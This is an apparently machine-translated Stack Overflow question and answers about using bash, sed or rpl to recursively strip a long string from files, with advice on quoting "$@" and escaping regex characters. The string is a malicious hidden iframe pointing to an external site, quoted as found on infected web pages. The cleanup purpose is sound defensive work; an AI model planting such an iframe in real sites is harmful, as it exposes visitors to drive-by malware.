如何在bash,sed或rpl脚本中传递长字符串进行搜索和替换?

时间:2009-07-23 04:28:11

标签: shell sed replace

我正在创建一个脚本,它将字符串作为参数并在目录中递归替换。简单的案例(一个单词)由以下查找和替换脚本令人钦佩地处理:

  

grep -rl $1 . | xargs sed -i .backup -e "s/$1/$2/g"

但是这里的事情变得有点棘手。我试图处理的字符串是一个恶意软件脚本,它感染了我写的网站(但没有托管):

  

<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

对于bash和sed来说,这个字符串显然很复杂,需要一些转义。我已经尝试过rpl,一种特殊用途的替换工具,但它不能很好地处理空白:

  

rpl -pR $* '' *

然而,在提示符下,我能够用字符串替换$ *并获得预期的行为。关于如何将bash,sed或rpl变成可爱的remove-long-string.sh的任何想法?

3 个答案:

答案 0 :(得分:1)

这是因为bash使用$ *

在每个空格处拆分每个参数

尝试以下方法:

rpl -pR "$@" '' *

答案 1 :(得分:1)

不,该字符串实际上不需要任何转义:)。

var='<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
echo "$var" | grep -v "$var" # prints nothing
echo "$var" | sed "s#$var#complete match#" # prints "complete match"

如果您需要使用任意数量的任何特殊字符的通用字符串,那么您将需要以与未转义的相反的顺序对其进行转义。

如果是sed,它一次用于bash,一次用于sed的regexp。

可以通过

绕过Bash
var="$(cat file_with_search_string)"

对于sed,你需要首先转义反斜杠,然后是sed border character(上例中为#)和所有正则表达式控件 - ^ $ []。* +?等等。

var="${var//\\/\\\\}"
var="${var//#/\\#}"
var="${var//[/\\[}"
# ...
# I'm sure this can somehow be converted into tr script
grep -rl $1 . | xargs sed -i .backup "s#$var#here be dragons#g" 

答案 2 :(得分:-2)

我不知道rpl,但如果引用第一个参数,它会有帮助吗?那会传递整个字符串,空格和所有,作为一个参数。如果没有引号,shell会将其拆分为多个参数。

rpl -pR "$@" '' *

rpl -pR "$1" "$2" *